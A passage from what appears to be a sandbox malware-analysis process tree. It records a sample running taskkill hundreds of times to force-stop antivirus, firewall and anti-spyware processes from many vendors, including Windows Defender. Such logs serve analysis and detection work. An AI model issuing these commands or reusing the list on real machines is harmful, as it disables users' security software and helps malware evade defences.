      PID:540
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgnt.exe
      4⤵
      PID:1412
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sched.exe
      4⤵
      PID:1928
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avsched32.exe
      4⤵
      PID:1516
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im SCCOMM.EXE
      4⤵
      PID:1920
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im Spiderml.exe
      4⤵
      PID:1596
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vsserv.exe
      4⤵
      PID:1784
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im bdswitch.exe
      4⤵
      PID:1836
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im bdss.exe
      4⤵
      PID:828
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im INOTask.exe
      4⤵
      PID:1320
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im caissdt.exe
      4⤵
      PID:1624
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im InoRpc.exe
      4⤵
      PID:1660
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im VetMsg.exe
      4⤵
      PID:2020
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vettray.exe
      4⤵
      PID:1752
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im realmon.exe
      4⤵
      PID:2044
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM AVGUARD.exe
      4⤵
      PID:2000
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM AVGCtrl.exe
      4⤵
      PID:1224
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM CSS_1630.exe
      4⤵
      Kills process with taskkill
      PID:1724
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM CSS-AVS.exe
      4⤵
      PID:1140
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM ashdisp.exe
      4⤵
      PID:364
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM ashmaisv.exe
      4⤵
      PID:1536
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM ashserv.exe
      4⤵
      PID:1668
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM ashwebsv.exe
      4⤵
      PID:864
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM aswupdsv.exe
      4⤵
      PID:2012
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM AVGCC.exe
      4⤵
      PID:1600
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM AVGCC32.exe
      4⤵
      PID:928
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM AVGEmc.exe
      4⤵
      PID:1972
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM AVGServ.exe
      4⤵
      Kills process with taskkill
      PID:1640
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM AVGServ9.exe
      4⤵
      PID:1676
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Avgw.exe
      4⤵
      Kills process with taskkill
      PID:1000
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM vsserv.exe
      4⤵
      PID:1844
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM ewidoguard.exe
      4⤵
      PID:992
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM ewidoctrl.exe
      4⤵
      PID:1468
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM kav.exe
      4⤵
      PID:1788
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM kavsvc.exe
      4⤵
      PID:756
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MPFAgent.exe
      4⤵
      PID:1704
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MPFTray.exe
      4⤵
      PID:2036
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Mscifapp.exe
      4⤵
      PID:1776
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MSKSrvr.exe
      4⤵
      PID:1524
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM NOD32Krn.exe
      4⤵
      PID:1688
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM NOD32Kui.exe
      4⤵
      PID:540
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM PavPrS9x.exe
      4⤵
      PID:692
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM NPFMntor.exe
      4⤵
      PID:848
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Nprotect.exe
      4⤵
      PID:1592
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Nsched32.exe
      4⤵
      PID:1924
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM SymWSC.exe
      4⤵
      PID:1568
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /IM SpywareStrike.exe /IM SpywareStrike.exe
      4⤵
      PID:1784
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /IM ccProxy.exe /IM ccSetMgr.exe /IM SNDSrvc.exe /IM SPBBCSvc.exe /IM ccEvtMgr.exe /IM ccApp.exe /IM NMAIN.EXE /IM SBServ.exe /IM NOPDB.EXE
      4⤵
      PID:1528
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /IM symlcsvc.exe
      4⤵
      PID:1212
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /IM SymWSC.exe /IM UsrPrmpt.exe
      4⤵
      PID:1984
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /IM zlclient.exe /IM zonealarm.exe
      4⤵
      PID:1056
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /IM ewidoctrl.exe
      4⤵
      PID:1628
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /IM navapsvc.exe /IM NPFMntor.exe /IM navapw32.exe /IM SAVScan.exe
      4⤵
      Kills process with taskkill
      PID:308
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /IM WRSSSDK.exe /IM SpySweeper.exe
      4⤵
      PID:1504
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /IM GBPoll.exe /IM navapsvc.exe /IM NPFMntor.exe /IM NPROTECT.EXE /IM NOPDB.EXE /IM GBTray.exe /IM NPFMntor.exe /IM GhostTray.exe /IM PQV2iSvc.exe
      4⤵
      PID:1188
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /IM kavsvc.exe /IM kav.exe
      4⤵
      PID:684
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /IM mcdetect.exe /IM mctskshd.exe /IM mcregwiz.exe /IM mcagent.exe
      4⤵
      PID:316
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /IM Pavsrv51.exe /IM AVENGINE.EXE /IM apvxdwin.exe /IM pavProxy.exe
      4⤵
      PID:1948
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /IM AVGUARD.EXE /IM AVWUPSRV.EXE /IM AVGNT.EXE /IM AVSched32.EXE
      4⤵
      PID:1544
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /IM avgcc.exe /IM avgamsvr.exe /IM avgupsvc.exe
      4⤵
      PID:364
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /IM Pagent.exe /IM pagentwd.exe /IM pavsched.exe
      4⤵
      PID:1412
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /IM DefWatch.exe /IM Rtvscan.exe
      4⤵
      PID:1928
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /IM avgamsvr.exe /IM avgupsvc.exe
      4⤵
      PID:1908
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nod32krn.exe
      4⤵
      PID:2012
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nod32.exe
      4⤵
      PID:1596
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im kav.exe
      4⤵
      PID:1428
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im kavmm.exe
      4⤵
      PID:1836
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgemc.exe
      4⤵
      PID:1120
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgcc.exe
      4⤵
      PID:1728
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgamsvr.exe
      4⤵
      PID:1548
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgupsvc.exe
      4⤵
      PID:1844
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgw.exe
      4⤵
      PID:1660
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ashwebsv.exe
      4⤵
      PID:1604
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ashdisp.exe
      4⤵
      PID:1780
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ashmaisv.exe
      4⤵
      PID:2044
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ashserv.exe
      4⤵
      PID:1124
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ashwebsv.exe
      4⤵
      PID:2036
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im aswupdsv.exe
      4⤵
      PID:1724
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ewidoctrl.exe
      4⤵
      PID:924
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im guard.exe
      4⤵
      PID:1932
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im gcasdtserv.exe
      4⤵
      PID:832
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im msmpeng.exe
      4⤵
      PID:1540
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mcafee.exe
      4⤵
      PID:2016
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mghml.exe
      4⤵
      PID:1592
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im msiexec.exe
      4⤵
      PID:1476
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im outpost.exe
      4⤵
      PID:1568
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im isafe.exe
      4⤵
      PID:1992
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im minilog.exe
      4⤵
      PID:1060
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im zonealarm.exe
      4⤵
      PID:828
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im zlclient.exe
      4⤵
      PID:1168
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im updclient.exe
      4⤵
      PID:1056
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ccapp.exe
      4⤵
      PID:1628
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im navw32.exe
      4⤵
      PID:604
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im norton.exe
      4⤵
      PID:1768
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im navapsvc.exe
      4⤵
      PID:432
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ccsetmgr.exe
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im cccproxy.exe
      4⤵
      PID:560
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ccapp.exe
      4⤵
      Kills process with taskkill
      PID:1072
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ccevtmgr.exe
      4⤵
      Kills process with taskkill
      PID:1088
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im npfmntor.exe
      4⤵
      PID:980
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im logexprt.exe
      4⤵
      PID:1028
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nisum.exe
      4⤵
      PID:324
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im issvc.exe
      4⤵
      PID:1516
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im cpdclnt.exe
      4⤵
      PID:2012
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pavprsrv.exe
      4⤵
      PID:1596
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pavprot.exe
      4⤵
      PID:1428
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avengine.exe
      4⤵
      Kills process with taskkill
      PID:1108
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im apvxdwin.exe
      4⤵
      PID:1120
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im webproxy.exe
      4⤵
      PID:804
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avguard.exe
      4⤵
      PID:1320
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgnt.exe
      4⤵
      PID:1844
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im shed.exe
      4⤵
      Kills process with taskkill
      PID:1988
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avsched32.exe
      4⤵
      PID:1468
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sccomm.exe
      4⤵
      PID:2032
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im spiderml.exe
      4⤵
      PID:1788
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sgmain.exe
      4⤵
      PID:432
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im spywareguard.exe
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im kpf4gui.exe
      4⤵
      Kills process with taskkill
      PID:560
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im kpf4ss.exe
      4⤵
      PID:1072
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mcdash.exe
      4⤵
      PID:1088
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mcdetect.exe
      4⤵
      PID:980
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mcregwiz.exe
      4⤵
      PID:1028
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mcinfo.exe
      4⤵
      PID:324
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mghtml.exe
      4⤵
      Kills process with taskkill
      PID:1516
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im oasclnt.exe
      4⤵
      PID:2012
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mpfagent.exe
      4⤵
      PID:1596
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mpfconsole.exe
      4⤵
      PID:1428
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mpfservice.exe
      4⤵
      PID:1108
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mpftray.exe
      4⤵
      PID:1120
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mpfwizard.exe
      4⤵
      PID:804
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mvtx.exe
      4⤵
      Kills process with taskkill
      PID:1320
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im _avp32.exe
      4⤵
      PID:1844
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im _avpcc.exe
      4⤵
      PID:1988
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im _avpm.exe
      4⤵
      PID:1468
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ackwin32.exe
      4⤵
      PID:2032
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im advxdwin.exe
      4⤵
      PID:1788
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im agentsvr.exe
      4⤵
      PID:432
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im agv.exe
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ahnsd.exe
      4⤵
      PID:560
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im alertsvc.exe
      4⤵
      PID:1072
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im alogserv.exe
      4⤵
      Kills process with taskkill
      PID:1088
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im amon.exe
      4⤵
      PID:980
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im amon9x.exe
      4⤵
      PID:1028
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im amonavp32.exe
      4⤵
      PID:324
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im anti -trojan.exe
      4⤵
      PID:1516
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im antivir.exe
      4⤵
      PID:1204
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im antivirus.exe
      4⤵
      PID:928
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ants.exe
      4⤵
      PID:1972
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im antssircam.exe
      4⤵
      PID:1640
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im apimonitor.exe
      4⤵
      PID:1996
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im aplica32.exe
      4⤵
      Kills process with taskkill
      PID:392
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im apvxdwin.exe
      4⤵
      PID:1624
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im atcon.exe
      4⤵
      Kills process with taskkill
      PID:1608
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im atguard.exe
      4⤵
      PID:308
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ats.exe
      4⤵
      PID:1292
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im atscan.exe
      4⤵
      Kills process with taskkill
      PID:756
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im atupdater.exe
      4⤵
      PID:1704
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im atwatch.exe
      4⤵
      PID:2036
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im autodown.exe
      4⤵
      PID:1724
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im autotrace.exe
      4⤵
      PID:1680
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im autoupdate.exe
      4⤵
      PID:552
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avconsol.exe
      4⤵
      PID:1536
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ave32.exe
      4⤵
      PID:692
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgcc32.exe
      4⤵
      PID:2016
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgctrl.exe
      4⤵
      PID:856
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgserv.exe
      4⤵
      PID:1916
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgserv9.exe
      4⤵
      Kills process with taskkill
      PID:1476
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgserv9schedapp.exe
      4⤵
      PID:1472
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avgw.exe
      4⤵
      PID:1784
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avkpop.exe
      4⤵
      PID:1880
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avkserv.exe
      4⤵
      PID:1676
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avkservice.exe
      4⤵
      Kills process with taskkill
      PID:1548
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avkwcl9.exe
      4⤵
      PID:1652
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avkwctl9.exe
      4⤵
      PID:544
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avnt.exe
      4⤵
      PID:2020
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avp.exe
      4⤵
      PID:1768
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avp32.exe
      4⤵
      PID:360
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avpcc.exe
      4⤵
      PID:1648
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im AVPCC Service.exe
      4⤵
      PID:1224
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avpccavpm.exe
      4⤵
      PID:1840
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avpdos32.exe
      4⤵
      PID:1532
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avpexec.exe
      4⤵
      PID:1688
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avpinst.exe
      4⤵
      PID:1540
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avpm.exe
      4⤵
      PID:848
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avpmonitor.exe
      4⤵
      PID:1920
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avptc.exe
      4⤵
      PID:1968
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avptc32.exe
      4⤵
      Kills process with taskkill
      PID:1924
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avpupd.exe
      4⤵
      PID:1568
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avpupdates.exe
      4⤵
      PID:1992
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avrescue.exe
      4⤵
      PID:1092
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avsched32.exe
      4⤵
      PID:772
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avsynmgr.exe
      4⤵
      Kills process with taskkill
      PID:1000
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avwin95.exe
      4⤵
      Kills process with taskkill
      PID:892
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avwinnt.exe
      4⤵
      PID:1844
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avwupd32.exe
      4⤵
      PID:952
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avxgui.exe
      4⤵
      PID:1504
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avxinit.exe
      4⤵
      PID:2032
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avxlive.exe
      4⤵
      PID:1632
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avxmonitor9x.exe
      4⤵
      PID:1416
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avxmonitornt.exe
      4⤵
      PID:2036
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avxnews.exe
      4⤵
      PID:1524
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avxquar.exe
      4⤵
      PID:560
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avxsch.exe
      4⤵
      PID:540
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im avxw.exe
      4⤵
      PID:1088
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im BACKLOG.exe
      4⤵
      PID:1928
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im bd_professional.exe
      4⤵
      PID:1480
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im bidef.exe
      4⤵
      PID:1100
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im bidserver.exe
      4⤵
      PID:1600
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im bipcp.exe
      4⤵
      Kills process with taskkill
      PID:996
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im bisp.exe
      4⤵
      PID:1696
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im blackd.exe
      4⤵
      PID:1108
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im blackice.exe
      4⤵
      PID:1120
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im blackiceblackd.exe
      4⤵
      PID:1168
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im BootWarn.exe
      4⤵
      PID:1056
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im borg2.exe
      4⤵
      PID:1604
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im bs120.exe
      4⤵
      PID:1988
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im bullguard.exe
      4⤵
      PID:1764
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ccApp.exe
      4⤵
      PID:360
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ccevtmgr.exe
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ccIMScan.exe
      4⤵
      Kills process with taskkill
      PID:1776
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ccPwdSrc.exe
      4⤵
      PID:924
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ccpxysvc.exe
      4⤵
      PID:1932
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ccSetMgr.exe
      4⤵
      PID:1300
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im cdp.exe
      4⤵
      PID:1668
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im cfiadmin.exe
      4⤵
      Kills process with taskkill
      PID:864
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im cfiaudit.exe
      4⤵
      PID:776
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im cfinet.exe
      4⤵
      PID:2012
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im cfinet32.exe
      4⤵
      PID:1596
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im claw95.exe
      4⤵
      PID:1820
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im claw95cf.exe
      4⤵
      PID:1528
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im clean.exe
      4⤵
      PID:1584
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im cleaner.exe
      4⤵
      PID:804
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im cleaner3.exe
      4⤵
      PID:1320
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im cleanpc.exe
      4⤵
      PID:604
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im cmgrdian.exe
      4⤵
      PID:1780
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im cmon016.exe
      4⤵
      PID:1240
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im codered.exe
      4⤵
      PID:2044
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im connectionmonitor.exe
      4⤵
      PID:2004
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im conseal.exe
      4⤵
      PID:900
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im cpd.exe
      4⤵
      PID:2036
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im cpf9x206.exe
      4⤵
      PID:364
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ctrl.exe
      4⤵
      PID:1412
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im defalert.exe
      4⤵
      Kills process with taskkill
      PID:1220
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im defence.exe
      4⤵
      PID:1208
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im defense.exe
      4⤵
      PID:1592
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im defscangui.exe
      4⤵
      PID:1920
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im defwatch.exe
      4⤵
      PID:1836
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im deputy.exe
      4⤵
      PID:1428
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im doors.exe
      4⤵
      Kills process with taskkill
      PID:1568
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im dpf.exe
      4⤵
      PID:1212
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im drwatson.exe
      4⤵
      PID:1996
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im drweb32.exe
      4⤵
      PID:1120
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im dvp95.exe
      4⤵
      PID:1168
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im dvp95_0.exe
      4⤵
      PID:1752
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ecengine.exe
      4⤵
      PID:992
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im edisk.exe
      4⤵
      PID:952
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im efpeadm.exe
      4⤵
      PID:1764
  - - C:\Windows\SysWOW64\taskkill.exe
